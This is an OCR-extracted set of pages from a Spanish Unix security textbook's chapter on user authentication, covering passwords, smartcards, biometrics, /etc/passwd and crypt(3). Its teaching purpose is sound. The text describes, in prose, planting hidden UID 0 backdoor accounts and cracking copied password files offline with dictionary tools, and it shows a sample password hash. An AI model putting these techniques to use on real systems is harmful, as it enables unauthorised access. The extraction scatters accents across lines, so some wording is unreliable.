Ya sabemos que unos requerimientos primordiales de los sistemas inform´ticos que desempe˜an
a n
tareas importantes son los mecanismo de seguridad adecuados a la informaci´n que se intenta pro-
o
teger; el conjunto de tales mecanismos ha de incluir al menos un sistema que permita identificar
a las entidades (elementos activos del sistema, generalmente usuarios) que intentan acceder a los
objetos (elementos pasivos, como ficheros o capacidad de c´mputo), mediante procesos tan simples
o
como una contrase˜a o tan complejos como un dispositivo analizador de patrones retinales.
n
Los sistemas que habitualmente utilizamos los humanos para identificar a una persona, como el
aspecto f´ısico o la forma de hablar, son demasiado complejos para una computadora; el objetivo de
los sistemas de identificaci´n de usuarios no suele ser identificar a una persona, sino autenticar
o
que esa persona es quien dice ser realmente. Aunque como humanos seguramente ambos t´rminos e
nos parecer´n equivalentes, para un ordenador existe una gran diferencia entre ellos: imaginemos
a
un potencial sistema de identificaci´n estrictamente hablando, por ejemplo uno biom´trico basado
o e
en el reconocimiento de la retina; una persona mirar´ a trav´s del dispositivo lector, y el sistema
ıa e
ser´ capaz de decidir si es un usuario v´lido, y en ese caso decir de qui´n se trata; esto es identifi-
ıa a e
caci´n. Sin embargo, lo que habitualmente hace el usuario es introducir su identidad (un n´mero,
o u
un nombre de usuario. . . ) adem´s de mostrar sus retinas ante el lector; el sistema en este caso no
a
tiene que identificar a esa persona, sino autenticarlo: comprobar los par´metros de la retina que
a
est´ leyendo con los guardados en una base de datos para el usuario que la persona dice ser: estamos
a
reduciendo el problema de una poblaci´n potencialmente muy elevada a un grupo de usuarios m´s
o a
reducido, el grupo de usuarios del sistema que necesita autenticarlos.
Los m´todos de autenticaci´n se suelen dividir en tres grandes categor´ ([DP84], [Eve92]), en
e o ıas
funci´n de lo que utilizan para la verificaci´n de identidad: (a) algo que el usuario sabe, (b) algo
o o
que ´ste posee, y (c) una caracter´
e ıstica f´
ısica del usuario o un acto involuntario del mismo. Esta
ultima categor´ se conoce con el nombre de autenticaci´n biom´trica. Es f´cil ver ejemplos
´ ıa o e a
de cada uno de estos tipos de autenticaci´n: un password (Unix) o passphrase (pgp) es algo que
o
el usuario conoce y el resto de personas no, una tarjeta de identidad es algo que el usuario lleva
consigo, la huella dactilar es una caracter´ ıstica f´
ısica del usuario, y un acto involuntario podr´
ıa
considerarse que se produce al firmar (al rubricar la firma no se piensa en el dise˜o de cada trazo
n
individualmente). Por supuesto, un sistema de autenticaci´n puede (y debe, para incrementar su
o
fiabilidad) combinar mecanismos de diferente tipo, como en el caso de una tarjeta de cr´dito junto
e
al PIN a la hora de utilizar un cajero autom´tico o en el de un dispositivo generador de claves para
a
el uso de One Time Passwords.
Cualquier sistema de identificaci´n (aunque les llamemos as´ recordemos que realmente son sis-
o ı,
temas de autenticaci´n) ha de poseer unas determinadas caracter´
o ısticas para ser viable; obviamente,
ha de ser fiable con una probabilidad muy elevada (podemos hablar de tasas de fallo de 10−4 en los
sistemas menos seguros), econ´micamente factible para la organizaci´n (si su precio es superior al
o o
valor de lo que se intenta proteger, tenemos un sistema incorrecto) y ha de soportar con ´xito cierto
e](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-135-320.jpg)
![118 CAP´ ´
ITULO 8. AUTENTICACION DE USUARIOS
tipo de ataques (por ejemplo, imaginemos que cualquier usuario puede descifrar el password uti-
lizado en el sistema de autenticaci´n de Unix en tiempo polinomial; esto ser´ inaceptable). Aparte
o ıa
de estas caracter´ısticas tenemos otra, no t´cnica sino humana, pero quiz´s la m´s importante: un
e a a
sistema de autenticaci´n ha de ser aceptable para los usuarios ([Tan91]), que ser´n al fin y al cabo
o a
quienes lo utilicen. Por ejemplo, imaginemos un potencial sistema de identificaci´n para acceder a
o
los recursos de la Universidad, consistente en un dispositivo que fuera capaz de realizar un an´lisis
a
de sangre a un usuario y as´ comprobar que es quien dice ser; seguramente ser´ barato y altamente
ı ıa
fiable, pero nadie aceptar´ dar un poco de sangre cada vez que desee consultar su correo.
ıa
8.2 Sistemas basados en algo conocido: contrase˜ as
n
El modelo de autenticaci´n m´s b´sico consiste en decidir si un usuario es quien dice ser simplemente
o a a
bas´ndonos en una prueba de conocimiento que a priori s´lo ese usuario puede superar; y desde
a o
a ´
Al´ Bab´ y su ‘Abrete, S´samo’ hasta los m´s modernos sistemas Unix, esa prueba de conocimiento
ı e a
no es m´s que una contrase˜a que en principio es secreta. Evidentemente, esta aproximaci´n es
a n o
la m´s vulnerable a todo tipo de ataques, pero tambi´n la m´s barata, por lo que se convierte
a e a
en la t´cnica m´s utilizada en entornos que no precisan de una alta seguridad, como es el caso
e a
de los sistemas Unix en redes normales (y en general en todos los sistemas operativos en redes de
seguridad media–baja); otros entornos en los que se suele aplicar este modelo de autenticaci´n son
o
las aplicaciones que requieren de alguna identificaci´n de usuarios, como el software de cifrado pgp
o
o el esc´ner de seguridad nessus. Tambi´n se utiliza como complemento a otros mecanismos de
a e
autenticaci´n, por ejemplo en el caso del N´mero de Identificaci´n Personal (PIN) a la hora de
o u o
utilizar cajeros autom´ticos.
a
En todos los esquemas de autenticaci´n basados en contrase˜as se cumple el mismo protocolo:
o n
las entidades (generalmente dos) que participan en la autenticaci´n acuerdan una clave, clave que
o
han de mantener en secreto si desean que la autenticaci´n sea fiable. Cuando una de las partes
o
desea autenticarse ante otra se limita a mostrarle su conocimiento de esa clave com´n, y si ´sta es
u e
correcta se otorga el acceso a un recurso. Lo habitual es que existan unos roles preestablecidos, con
una entidad activa que desea autenticarse y otra pasiva que admite o rechaza a la anterior (en el
modelo del acceso a sistemas Unix, tenemos al usuario y al sistema que le permite o niega la entrada).
Como hemos dicho, este esquema es muy fr´gil: basta con que una de las partes no mantenga
a
la contrase˜a en secreto para que toda la seguridad del modelo se pierda; por ejemplo, si el usuario
n
de una m´quina Unix comparte su clave con un tercero, o si ese tercero consigue leerla y rompe su
a
cifrado (por ejemplo, como veremos luego, mediante un ataque de diccionario), autom´ticamente
a
esa persona puede autenticarse ante el sistema con ´xito con la identidad de un usuario que no le
e
corresponde.
En el punto 8.5 hablaremos con m´s detalle del uso de contrase˜as para el caso de la autenti-
a n
caci´n de usuarios en Unix.
o
8.3 Sistemas basados en algo pose´
ıdo: tarjetas inteligentes
Hace m´s de veinte a˜os un periodista franc´s llamado Roland Moreno patentaba la integraci´n de
a n e o
un procesador en una tarjeta de pl´stico; sin duda, no pod´ imaginar el abanico de aplicaciones
a ıa
de seguridad que ese nuevo dispositivo, denominado chipcard, estaba abriendo. Desde entonces,
cientos de millones de esas tarjetas han sido fabricadas, y son utilizadas a diario para fines que
var´ desde las tarjetas monedero m´s sencillas hasta el control de accesos a instalaciones militares
ıan a
y agencias de inteligencia de todo el mundo; cuando a las chipcards se les incorpor´ un procesador
o
inteligente nacieron las smartcards, una gran revoluci´n en el ´mbito de la autenticaci´n de usuarios.
o a o
Desde un punto de vista formal ([GUQ92]), una tarjeta inteligente (o smartcard) es un disposi-
tivo de seguridad del tama˜o de una tarjeta de cr´dito, resistente a la adulteraci´n, que ofrece
n e o
funciones para un almacenamiento seguro de informaci´n y tambi´n para el procesamiento de la
o e](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-136-320.jpg)
![8.3. SISTEMAS BASADOS EN ALGO POSE´
IDO: TARJETAS INTELIGENTES 119
Figura 8.1: Estructura gen´rica de una smartcard.
e
misma en base a tecnolog´ VLSI. En la pr´ctica, las tarjetas inteligentes poseen un chip em-
ıa a
potrado en la propia tarjeta que puede implementar un sistema de ficheros cifrado y funciones
criptogr´ficas, y adem´s puede detectar activamente intentos no v´lidos de acceso a la informaci´n
a a a o
almacenada ([MA94]); este chip inteligente es el que las diferencia de las simples tarjetas de cr´dito,
e
que s´lamente incorporan una banda magn´tica donde va almacenada cierta informaci´n del propi-
o e o
etario de la tarjeta.
En la figura 8.1 se muestra la estructura m´s generalista de una tarjeta inteligente; en ella pode-
a
mos observar que el acceso a las ´reas de memoria s´lamente es posible a trav´s de la unidad de
a o e
entrada/salida y de una CPU (t´ ıpicamente de 8 bits), lo que evidentemente aumenta la seguridad
del dispositivo. Existe tambi´n un sistema operativo empotrado en la tarjeta – generalmente en
e
ROM, aunque tambi´n se puede extender con funciones en la EEPROM – cuya funci´n es realizar
e o
tareas criptogr´ficas (algoritmos de cifrado como RSA o Triple DES, funciones resumen. . . ); el
a
criptoprocesador apoya estas tareas ofreciendo operaciones RSA con claves de 512 a 1024 bits. Un
ejemplo de implementaci´n real de este esquema lo constituye la tarjeta inteligente CERES, de la
o
F´brica Nacional de Moneda y Timbre espa˜ola ([Pit00]); en ella se incluye adem´s un generador
a n a
de n´meros aleatorios junto a los mecanismos de protecci´n internos de la tarjeta.
u o
Cuando el usuario poseedor de una smartcard desea autenticarse necesita introducir la tarjeta
en un hardware lector; los dos dispositivos se identifican entre s´ con un protocolo a dos bandas
ı
en el que es necesario que ambos conozcan la misma clave (CK o CCK, Company Key o Chipcard
Communication Key), lo que elimina la posibilidad de utilizar tarjetas de terceros para autenticarse
ante el lector de una determinada compa˜´ adem´s esta clave puede utilizarse para asegurar la
nıa; a
comunicaci´n entre la tarjeta y el dispositivo lector. Tras identificarse las dos partes, se lee la iden-
o
tificaci´n personal (PID) de la tarjeta, y el usuario teclea su PIN; se inicia entonces un protocolo
o
desaf´ıo–respuesta: se env´ el PID a la m´quina y ´sta desaf´ a la tarjeta, que responde al desaf´
ıa a e ıa ıo
utilizando una clave personal del usuario (PK, Personal Key). Si la respuesta es correcta, el host
ha identificado la tarjeta y el usuario obtiene acceso al recurso pretendido.
Las ventajas de utilizar tarjetas inteligentes como medio para autenticar usuarios son muchas frente
a las desventajas; se trata de un modelo ampliamente aceptado entre los usuarios, r´pido, y que
a
incorpora hardware de alta seguridad tanto para almacenar datos como para realizar funciones de
cifrado. Adem´s, su uso es factible tanto para controles de acceso f´
a ısico como para controles de
acceso l´gico a los hosts, y se integra f´cilmente con otros mecanismos de autenticaci´n como las
o a o
contrase˜as; y en caso de desear bloquear el acceso de un usuario, no tenemos m´s que retener
n a
su tarjeta cuando la introduzca en el lector o marcarla como inv´lida en una base de datos (por
a
ejemplo, si se equivoca varias veces al teclar su PIN, igual que sucede con una tarjeta de cr´dito
e
normal). Como principal inconveniente de las smartcards podemos citar el coste adicional que](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-137-320.jpg)
![120 CAP´ ´
ITULO 8. AUTENTICACION DE USUARIOS
supone para una organizaci´n el comprar y configurar la infraestructura de dispositivos lectores y
o
las propias tarjetas; aparte, que un usuario pierda su tarjeta es bastante f´cil, y durante el tiempo
a
que no disponga de ella o no puede acceder al sistema, o hemos de establecer reglas especiales que
pueden comprometer nuestra seguridad (y por supuesto se ha de marcar como tarjeta inv´lida en a
una base de datos central, para que un potencial atacante no pueda utilizarla). Tambi´n la distancia
e
l´gica entre la smartcard y su poseedor – simplemente nos podemos fijar en que la tarjeta no tiene
o
un interfaz para el usuario – puede ser fuente de varios problemas de seguridad ([BF99], [GSTY96]).
Aparte de los problemas que puede implicar el uso de smartcards en s´ contra la l´gica de una
ı, o
tarjeta inteligente existen diversos m´todos de ataque, como realizar ingenier´ inversa – destructi-
e ıa
va – contra el circuito de silicio (y los contenidos de la ROM), adulterar la informaci´n guardada
o
en la tarjeta o determinar por diferentes m´todos el contenido de la memoria EEPROM. Sin duda
e
una de las personas que m´s ha contribuido a incrementar la seguridad de las smartcards gracias a
a
sus estudios y ataques es el experto brit´nico Ross J. Anderson ([And97], [AK96]. . . ); en su p´gina
a a
web personal, http://www.cl.cam.ac.uk/users/rja14/, podemos encontrar todos sus art´ ıculos
sobre este tema1 , demasiados como para citarlos aqu´ uno a uno.
ı
8.4 Sistemas de autenticaci´n biom´trica
o e
A pesar de la importancia de la criptolog´ en cualquiera de los sistemas de identificaci´n de usuar-
ıa o
ios vistos, existen otra clase de sistemas en los que no se aplica esta ciencia, o al menos su aplicaci´n
o
es secundaria. Es m´s, parece que en un futuro no muy lejano estos ser´n los sistemas que se van
a a
a imponer en la mayor´ de situaciones en las que se haga necesario autenticar un usuario: son
ıa
m´s amigables para el usuario (no va a necesitar recordar passwords o n´meros de identificaci´n
a u o
complejos, y, como se suele decir, el usuario puede olvidar una tarjeta de identificaci´n en casa,
o
pero nunca se olvidar´ de su mano o su ojo) y son mucho m´s dif´
a a ıciles de falsificar que una simple
contrase˜a o una tarjeta magn´tica; las principales razones por la que no se han impuesto ya en
n e
nuestros dias es su elevado precio, fuera del alcance de muchas organizaciones, y su dificultad de
mantenimiento ([GKK97]).
Estos sistemas son los denominados biom´tricos, basados en caracter´
e ısticas f´
ısicas del usuario
a identificar. El reconocimiento de formas, la inteligencia artificial y el aprendizaje son las ra-
mas de la inform´tica que desempe˜an el papel m´s importante en los sistemas de identificaci´n
a n a o
biom´tricos; la criptolog´ se limita aqu´ a un uso secundario, como el cifrado de una base de datos
e ıa ı
de patrones retinales, o la transmisi´n de una huella dactilar entre un dispositivo analizador y una
o
base de datos. La autenticaci´n basada en caracter´
o ısticas f´ısicas existe desde que existe el hombre
y, sin darnos cuenta, es la que m´s utiliza cualquiera de nosotros en su vida cotidiana: a diario
a
identificamos a personas por los rasgos de su cara o por su voz. Obviamente aqu´ el agente recono-
ı
cedor lo tiene f´cil porque es una persona, pero en el modelo aplicable a redes o sistemas Unix el
a
agente ha de ser un dispositivo que, bas´ndose en caracter´
a ısticas del sujeto a identificar, le permita
o deniegue acceso a un determinado recurso.
Aunque la autenticaci´n de usuarios mediante m´todos biom´tricos es posible utilizando cualquier
o e e
caracter´
ıstica unica y mesurable del individuo (esto incluye desde la forma de teclear ante un or-
´
denador hasta los patrones de ciertas venas, pasando por el olor corporal), tradicionalmente ha
estado basada en cinco grandes grupos ([Eve92]). En la tabla 8.1 ([Huo98], [Phi97]) se muestra una
comparativa de sus rasgos m´s generales, que vamos a ver con m´s detalle en los puntos siguientes.
a a
Los dispositivos biom´tricos tienen tres partes principales; por un lado, disponen de un mecan-
e
ismo autom´tico que lee y captura una imagen digital o anal´gica de la caracter´
a o ıstica a analizar.
Adem´s disponen de una entidad para manejar aspectos como la compresi´n, almacenamiento o
a o
comparaci´n de los datos capturados con los guardados en una base de datos (que son considerados
o
v´lidos), y tambi´n ofrecen una interfaz para las aplicaciones que los utilizan. El proceso general de
a e
autenticaci´n sigue unos pasos comunes a todos los modelos de autenticaci´n biom´trica: captura
o o e
o lectura de los datos que el usuario a validar presenta, extracci´n de ciertas caracter´
o ısticas de la
1Y sobre otros, principalmente esteganograf´ y criptograf´
ıa ıa.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-138-320.jpg)
![124 CAP´ ´
ITULO 8. AUTENTICACION DE USUARIOS
ıdas. c 1998 Idex AS, http://www.idex.no/.
Figura 8.2: Huella dactilar con sus minucias extra´
esta imagen normalizada de la que el sistema extrae las minucias (ciertos arcos, bucles o remolinos
de la huella) que va a comparar contra las que tiene en su base de datos; es importante resaltar que
lo que el sistema es capaz de analizar no es la huella en s´ sino que son estas minucias, concretamente
ı
la posici´n relativa de cada una de ellas. Est´ demostrado que dos dedos nunca pueden poseer m´s
o a a
de ocho minucias comunes, y cada uno tiene al menos 30 o 40 de ´stas (en la figura 8.2 podemos
e
ver una imagen de una huella digitalizada con sus minucias). Si la comparaci´n de las posiciones
o
relativas de las minucias le´
ıdas con las almacenadas en la base de datos es correcta, se permite el
acceso al usuario, deneg´ndosele obviamente en caso contrario.
a
Los sistemas basados en reconocimiento de huellas son relativamente baratos (en comparaci´n o
con otros biom´tricos, como los basados en patrones retinales); sin embargo, tienen en su contra
e
la incapacidad temporal de autenticar usuarios que se hayan podido herir en el dedo a reconocer
(un peque˜o corte o una quemadura que afecte a varias minucias pueden hacer in´til al sistema).
n u
Tambi´n elementos como la suciedad del dedo, la presi´n ejercida sobre el lector o el estado de la
e o
piel pueden ocasionar lecturas err´neas. Otro factor a tener muy en cuenta contra estos sistemas es
o
psicol´gico, no t´cnico: hemos dicho en la introducci´n que un sistema de autenticaci´n de usuarios
o e o o
ha de ser aceptable por los mismos, y generalmente el reconocimiento de huellas se asocia a los
criminales, por lo que muchos usuarios recelan del reconocedor y de su uso ([vKPG97]).
8.4.4 Verificaci´n de patrones oculares
o
Los modelos de autenticaci´n biom´trica basados en patrones oculares se dividen en dos tecnolog´
o e ıas
diferentes: o bien analizan patrones retinales, o bien analizan el iris. Estos m´todos se suelen consid-
e
erar los m´s efectivos: para una poblaci´n de 200 millones de potenciales usuarios la probabilidad
a o
de coincidencia es casi 0, y adem´s una vez muerto el individuo los tejidos oculares degeneran
a
r´pidamente, lo que dificulta la falsa aceptaci´n de atacantes que puedan robar este ´rgano de un
a o o](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-142-320.jpg)
![´ ´
8.4. SISTEMAS DE AUTENTICACION BIOMETRICA 125
cad´ver.
a
La principal desventaja de los m´todos basados en el an´lisis de patrones oculares es su escasa
e a
aceptaci´n; el hecho de mirar a trav´s de un binocular (o monocular), necesario en ambos modelos,
o e
no es c´modo para los usuarios, ni aceptable para muchos de ellos: por un lado, los usuarios no se
o
f´ de un haz de rayos analizando su ojo3 , y por otro un examen de este ´rgano puede revelar enfer-
ıan o
medades o caracter´ ısticas m´dicas que a muchas personas les puede interesar mantener en secreto,
e
como el consumo de alcohol o de ciertas drogas. Aunque los fabricantes de dispositivos lectores
aseguran que s´lo se analiza el ojo para obtener patrones relacionados con la autenticaci´n, y en
o o
ning´n caso se viola la privacidad de los usuarios, mucha gente no cree esta postura oficial (aparte
u
del hecho de que la informaci´n es procesada v´ software, lo que facilita introducir modificaciones
o ıa
sobre lo que nos han vendido para que un lector realice otras tareas de forma enmascarada). Por
si esto fuera poco, se trata de sistemas demasiado caros para la mayor´ de organizaciones, y el
ıa
proceso de autenticaci´n no es todo lo r´pido que debiera en poblaciones de usuarios elevadas. De
o a
esta forma, su uso se ve reducido casi s´lo a la identificaci´n en sistemas de alta seguridad, como
o o
el control de acceso a instalaciones militares.
Retina
La vasculatura retinal (forma de los vasos sangu´ ıneos de la retina humana) es un elemento ca-
racter´
ıstico de cada individuo, por lo que numerosos estudios en el campo de la autenticaci´n de
o
usuarios se basan en el reconocimiento de esta vasculatura.
En los sistemas de autenticaci´n basados en patrones retinales el usuario a identificar ha de mirar
o
a trav´s de unos binoculares, ajustar la distancia interocular y el movimiento de la cabeza, mirar
e
a un punto determinado y por ultimo pulsar un bot´n para indicar al dispositivo que se encuentra
´ o
listo para el an´lisis. En ese momento se escanea la retina con una radiaci´n infrarroja de baja
a o
intensidad en forma de espiral, detectando los nodos y ramas del ´rea retinal para compararlos con
a
los almacenados en una base de datos; si la muestra coincide con la almacenada para el usuario que
el individuo dice ser, se permite el acceso.
La compa˜´ EyeDentify posee la patente mundial para analizadores de vasculatura retinal, por
nıa
lo que es la principal desarrolladora de esta tecnolog´ su p´gina web se puede encontrar en
ıa; a
http://www.eyedentify.com/.
Iris
El iris humano (el anillo que rodea la pupila, que a simple vista diferencia el color de ojos de ca-
da persona) es igual que la vasculatura retinal una estructura unica por individuo que forma un
´
sistema muy complejo – de hasta 266 grados de libertad – , inalterable durante toda la vida de la
persona. El uso por parte de un atacante de ´rganos replicados o simulados para conseguir una falsa
o
aceptaci´n es casi imposible con an´lisis infrarrojo, capaz de detectar con una alta probabilidad si
o a
el iris es natural o no.
La identificaci´n basada en el reconocimiento de iris es m´s moderna que la basada en patrones
o a
retinales; desde hace unos a˜os el iris humano se viene utilizando para la autenticaci´n de usuarios
n o
([BAW96], [Dau97]). Para ello, se captura una imagen del iris en blanco y negro, en un entorno
correctamente iluminado; esta imagen se somete a deformaciones pupilares (el tama˜o de la pupila
n
var´ enormemente en funci´n de factores externos, como la luz) y de ella se extraen patrones,
ıa o
que a su vez son sometidos a transformaciones matem´ticas ([McM97]) hasta obtener una cantidad
a
de datos (t´ıpicamente 256 KBytes) suficiente para los prop´sitos de autenticaci´n. Esa muestra,
o o
denominada iriscode (en la figura 8.3 se muestra una imagen de un iris humano con su iriscode
asociado) es comparada con otra tomada con anterioridad y almacenada en la base de datos del
sistema, de forma que si ambas coinciden el usuario se considera autenticado con ´xito; la proba-
e
bilidad de una falsa aceptaci´n es la menor de todos los modelos biom´tricos ([Dau98]).
o e
3 Aunque en el caso de los irises existen dispositivos capaces de leer a una distancia de varios metros, haciendo el
proceso menos agresivo.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-143-320.jpg)
![128 CAP´ ´
ITULO 8. AUTENTICACION DE USUARIOS
Al contrario de lo que mucha gente cree, Unix no es capaz de distinguir a sus usuarios por su
nombre de entrada al sistema. Para el sistema operativo lo que realmente distingue a una persona
de otra (o al menos a un usuario de otro) es el UID del usuario en cuesti´n; el login es algo que
o
se utiliza principalmente para comodidad de las personas (obviamente es m´s f´cil acordarse de un
a a
nombre de entrada como toni que de un UID como 2643, sobre todo si se tienen cuentas en varias
m´quinas, cada una con un UID diferente). Por tanto, si en /etc/passwd existen dos entradas con
a
un mismo UID, para Unix se tratar´ del mismo usuario, aunque tengan un login y un password difer-
a
ente: as´ si dos usuarios tienen asignado el UID 0, ambos tendr´n privilegios de superusuario, sin
ı, a
importar el login que utilicen. Esto es especialmente aprovechado por atacantes que han conseguido
privilegios de administrador en una m´quina: pueden a˜adir una l´
a n ınea a /etc/passwd mezclada
entre todas las dem´s, con un nombre de usuario normal pero con el UID 0; as´ garantizan su en-
a ı
trada al sistema como administradores en caso de ser descubiertos, por ejemplo para borrar huellas.
Como a simple vista puede resultar dif´ localizar la l´
ıcil ınea insertada, especialmente en sistemas
con un gran n´mero de usuarios, para detectar las cuentas con privilegios en la m´quina podemos
u a
utilizar la siguiente orden:
anita:~# awk -F: ’$3==0 {print $1}’ /etc/passwd
root
anita:~#
En el fichero de claves van a existir entradas que no corresponden a usuarios reales, sino que son
utilizadas por ciertos programas o se trata de cuentas mantenidas por motivos de compatibilidad
con otros sistemas; t´ıpicos ejemplos de este tipo de entradas son lp, uucp o postmaster. Estas
cuentas han de estar bloqueadas en la mayor´ de casos, para evitar que alguien pueda utilizarlas
ıa
para acceder a nuestro sistema: s´lo han de ser accesibles para el root mediante la orden su. Aunque
o
en su mayor´ cumplen esta condici´n, en algunos sistemas estas cuentas tienen claves por defecto
ıa o
o, peor, no tienen claves, lo que las convierte en una puerta completamente abierta a los intrusos;
es conveniente que, una vez instalado el sistema operativo, y antes de poner a trabajar la m´quina,
a
comprobemos que est´n bloqueadas, o en su defecto que tienen claves no triviales. Algunos ejem-
a
plos de cuentas sobre los que hay que prestar una especial atenci´n son4 root, guest, lp, demos,
o
4DGifts, tour, uucp, nuucp, games o postmaster; es muy recomendable consultar los manuales de
cada sistema concreto, y chequear peri´dicamente la existencia de cuentas sin clave o cuentas que
o
deber´ permanecer bloqueadas y no lo est´n.
ıan a
Para cifrar las claves de acceso de sus usuarios, el sistema operativo Unix emplea un criptosis-
tema irreversible que utiliza la funci´n est´ndar de C crypt(3), basada en el algoritmo DES. Para
o a
una descripci´n exhaustiva del funcionamiento de crypt(3) se puede consultar [MT79], [FK90] o
o
[GS96]. Esta funci´n toma como clave los ocho primeros caracteres de la contrase˜a elegida por el
o n
usuario (si la longitud de ´sta es menor, se completa con ceros) para cifrar un bloque de texto en
e
claro de 64 bits puestos a cero; para evitar que dos passwords iguales resulten en un mismo texto
cifrado, se realiza una permutaci´n durante el proceso de cifrado elegida de forma autom´tica y
o a
aleatoria para cada usuario, basada en un campo formado por un n´mero de 12 bits (con lo que
u
conseguimos 4096 permutaciones diferentes) llamado salt. El cifrado resultante se vuelve a cifrar
utilizando la contrase˜a del usuario de nuevo como clave, y permutando con el mismo salt, repi-
n
ti´ndose el proceso 25 veces. El bloque cifrado final, de 64 bits, se concatena con dos bits cero,
e
obteniendo 66 bits que se hacen representables en 11 caracteres de 6 bits cada uno y que, junto con
el salt, pasan a constituir el campo password del fichero de contrase˜as, usualmente /etc/passwd.
n
As´ los dos primeros caracteres de este campo estar´n constituidos por el salt y los 11 restantes
ı, a
por la contrase˜a cifrada:
n
toni:LEgPN8jqSCHCg:1000:100:Antonio Villalon,,,:/export/home/toni:/bin/sh
salt: LE Password cifrado: gPN8jqSCHCg
Como hemos dicho antes, este criptosistema es irreversible. Entonces, ¿c´mo puede un usuario
o
conectarse a una m´quina Unix? El proceso es sencillo: el usuario introduce su contrase˜a, que
a n
se utiliza como clave para cifrar 64 bits a 0 bas´ndose en el salt, le´ en /etc/passwd, de dicho
a ıdo
4 Hemos preferido no mostrar las claves por defecto (si las tienen) ni el sistema operativo concreto.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-146-320.jpg)
![´
8.5. AUTENTICACION DE USUARIOS EN UNIX 129
usuario. Si tras aplicar el algoritmo de cifrado el resultado se corresponde con lo almacenado en
los ultimos 11 caracteres del campo password del fichero de contrase˜as, la clave del usuario se
´ n
considera v´lida y se permite el acceso. En caso contrario se le deniega y se almacena en un fichero
a
el intento de conexi´n fallido.
o
8.5.2 Mejora de la seguridad
Problemas del modelo cl´sico
a
Los ataques de texto cifrado escogido constituyen la principal amenaza al sistema de autenticaci´n
o
de Unix; a diferencia de lo que mucha gente cree, no es posible descifrar una contrase˜a, pero es
n
muy f´cil cifrar una palabra junto a un determinado salt, y comparar el resultado con la cadena
a
almacenada en el fichero de claves. De esta forma, un atacante leer´ el fichero /etc/passwd (este
a
fichero ha de tener permiso de lectura para todos los usuarios si queremos que el sistema funcione
correctamente), y mediante un programa adivinador (o crackeador) como Crack o John the Ripper
cifrar´ todas las palabras de un fichero denominado diccionario (un fichero ASCII con un gran
a
n´mero de palabras de cualquier idioma o campo de la sociedad – historia cl´sica, deporte, cantantes
u a
de rock. . . ), comparando el resultado obtenido en este proceso con la clave cifrada del fichero de
contrase˜as; si ambos coinciden, ya ha obtenido una clave para acceder al sistema de forma no
n
autorizada. Este proceso se puede pero no se suele hacer en la m´quina local, ya que en este caso
a
hay bastantes posibilidades de detectar el ataque: desde modificar en c´digo de la funci´n crypt(3)
o o
para que alerte al administrador cuando es invocada repetidamente (cada vez que el adivinador cifra
una palabra utiliza esta funci´n) hasta simplemente darse cuenta de una carga de CPU excesiva
o
(los programas adivinadores suelen consumir un tiempo de procesador considerable). Lo habitual
es que el atacante transfiera una copia del archivo a otro ordenador y realice el proceso en esta
otra m´quina; ni siquiera se tiene que tratar de un servidor Unix con gran capacidad de c´mputo:
a o
existen muchos programas adivinadores que se ejecutan en un PC normal, bajo MS-DOS o Windows.
Obviamente, este segundo caso es mucho m´s dif´ de detectar, ya que se necesita una auditor´
a ıcil ıa
de los programas que ejecuta cada usuario (y utilidades como cp o ftp no suelen llamar la atenci´n
o
del administrador). Esta auditor´ la ofrecen muchos sistemas Unix (generalmente en los ficheros
ıa
de log /var/adm/pacct o /var/adm/acct), pero no se suele utilizar por los excesivos recursos
que puede consumir, incluso en sistemas peque˜os; obviamente, no debemos fiarnos nunca de los
n
archivos hist´ricos de ´rdenes del usuario (como $HOME/.sh history o $HOME/.bash history), ya
o o
que el atacante los puede modificar para ocultar sus actividades, sin necesidad de ning´n privilegio
u
especial.
Contrase˜ as aceptables
n
La principal forma de evitar este tipo de ataque es utilizar passwords que no sean palabras de los
ficheros diccionario t´ıpicos: combinaciones de min´sculas y may´sculas, n´meros mezclados con
u u u
texto, s´ımbolos como &, $ o %, etc. Por supuesto, hemos de huir de claves simples como internet o
beatles, nombres propios, combinaciones d´biles como Pepito1 o qwerty, nombres de lugares, actores,
e
personajes de libros, deportistas. . . Se han realizado numerosos estudios sobre c´mo evitar este tipo
o
de passwords en los usuarios ([dA88], [Kle90], [Spa91b], [Bel93a], [Bis91], [BK95]. . . ), y tambi´ne
se han dise˜ado potentes herramientas para lograrlo, como Npasswd o Passwd+ ([Spa91b], [Bis92],
n
[CHN+ 92]. . . ). Es bastante recomendable instalar alguna de ellas para ‘obligar’ a los usuarios a
utilizar contrase˜as aceptables (muchos Unices ya las traen incorporadas), pero no conviene confiar
n
toda la seguridad de nuestro sistema a estos programas5 . Como norma, cualquier administrador
deber´ ejecutar con cierta periodicidad alg´n programa adivinador, tipo Crack, para comprobar
ıa u
que sus usuarios no han elegidos contrase˜as d´biles (a pesar del uso de Npasswd o Passwd+): se
n e
puede tratar de claves generadas antes de instalar estas utilidades o incluso de claves asignadas por
el propio root que no han pasado por el control de estos programas.
Por ultimo es necesario recordar que para que una contrase˜a sea aceptable obligatoriamente ha
´ n
de cumplir el principio KISS, que hablando de passwords est´ claro que no puede significar ‘Keep
a
it simple, stupid!’ sino ‘Keep it SECRET, stupid!’. La contrase˜a m´s larga, la m´s dif´ de
n a a ıcil
5 ¡Ni a ning´ n otro!
u](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-147-320.jpg)
![132 CAP´ ´
ITULO 8. AUTENTICACION DE USUARIOS
Car´cter
a . / 0 1 2 3 4 5 6 7 8 9 A B C
Valor (semanas) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Car´cter
a D E F G H I J K L M N O P Q R
Valor (semanas) 16 17 18 19 20 21 21 22 23 24 25 26 27 28 29
Car´cter
a S T U V W X Y Z a b c d e f g
Valor (semanas) 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
Car´cter
a h i j k l m n o p q r s t u v
Valor (semanas) 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
Car´cter
a w x y z
Valor (semanas) 60 61 62 63
